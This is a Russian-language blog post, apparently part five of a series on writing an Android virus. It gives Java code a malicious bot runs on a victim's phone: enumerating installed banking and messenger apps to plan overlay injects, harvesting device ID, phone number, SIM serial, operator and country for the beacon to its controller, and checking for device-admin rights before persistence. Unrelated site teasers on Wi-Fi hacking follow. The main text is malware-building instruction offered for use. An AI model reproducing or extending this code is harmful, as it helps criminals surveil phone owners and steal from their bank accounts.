Доброго времени суток, в предыдущих статьях мы рассмотрели основные моменты и теперь должны понять как вести себя внутри телефона. Для этого нужно знать: списки установленных приложений, месенджеров, банков и так далее.
Друг вокруг
Первым делом окинем взором окрестности, напишем простой и незамысловатый код:
PackageManager pm = cnt.getPackageManager(); List<ApplicationInfo> packages = pm.getInstalledApplications(PackageManager.GET_META_DATA); for (ApplicationInfo packageInfo : packages) { try{ //packageInfo.packageName //packageInfo.sourceDir //pm.getLaunchIntentForPackage(packageInfo.packageName) } catch (JSONException e) { } }
packageInfo.packageName – это имя пакета
packageInfo.sourceDir – путь к корневой папке приложения
pm.getLaunchIntentForPackage (packageInfo.packageName) – имя запускаемой
Activity, очень важный параметр для инжектов, мы это опишем в дальнейших частях.
Этой информации будет достаточно, чтобы понять какие и где стоят приложения. Если рассмотреть класс packageInfo, там будет больше информации, но она не особо интересна. В реальном коде Try и JSONException использовать не обязательно.
Собираем информацию о системе
Создаем объект телефонного менеджера.
TelephonyManager tm = (TelephonyManager)context.getSystemService(context.TELEPHONY_SERVICE);
tm.getDeviceId()
Возвращает ID устройства, который можно использовать в отстуке, так как это уникальное значение для каждого аппарата, которое нельзя изменить.
tm.getNetworkCountryIso()
Получаем страну устройства
tm.getSimOperatorName()
Получаем сотового оператора.
android.os.Build.VERSION.RELEASE
Очень важный параметр, вам придется его часто использовать. Почему? Некоторые фишки работают только для 2.х или 4.х телефонов. И нам придется разграничивать из вручную. Может быть так, что системная функция устарела, или изменила число параметров. В этом случае мы прибегаем к SDK и параметру.
Пример:
if(Build.VERSION.SDK_INT >= 19) { //работаем с версией 4.х }else{ //работаем с версией 2.х }
android.os.Build.MODEL
Получаем модель устройства, важный параметр, ибо чем сложнее бот, тем больше приходится учитывать специфику разных прошивок.
tm.getLine1Number()
Параметр иногда возвращает номер телефона, иногда нет. Нужен для идентификации самого абонента. Так же по номеру можно узнавать город и оператора.
tm.getSimSerialNumber()
Серийный номер сим карты.
Будьте бдительны, последние два параметра указаны для телефонов с 1 сим-картой. Для двух, команды похожие, но это нужно контролировать.
Админ, ты где?
Рассмотрим проверку, есть ли у нас права администратора. Само получение оставим до следующих статей про закрепление.
DevicePolicyManager deviceManager = (DevicePolicyManager) context.getSystemService(context.DEVICE_POLICY_SERVICE); ComponentName componentName = new ComponentName(context, CAdm.class); if (!deviceManager.isAdminActive(componentName)) { //нету админа }else{ //есть админ }
Приплыли
Это минимальный список параметров, которые мы должны обязательно обработать, чтобы правильно принимать решение в среде чужого телефона. Обычно их включают в отстук и они могут измениться. Поэтому проверяй-те их почаще.
Предыдущие материалы:
Как написать вирус для Андроид. Часть 4
Как написать вирус для Андроид. Часть 3
Как написать вирус для андроид. Часть 2
Как написать вирус для андроид.
Вирусы для андроид — Taidoor, IXESHE и СozyDuke
Чтобы взломать сеть Wi-Fi с помощью Kali Linux, вам нужна беспроводная карта, поддерживающая режим мониторинга…
Работа с консолью считается более эффективной, чем работа с графическим интерфейсом по нескольким причинам.Во-первых, ввод…
Конечно, вы также можете приобрести подписку на соответствующую услугу, но наличие SSH-доступа к компьютеру с…
С тех пор как ChatGPT вышел на арену, возросла потребность в поддержке чата на базе…
Если вы когда-нибудь окажетесь в ситуации, когда вам нужно взглянуть на спектр беспроводной связи, будь…
Elastic Security стремится превзойти противников в инновациях и обеспечить защиту от новейших технологий злоумышленников. В…
View Comments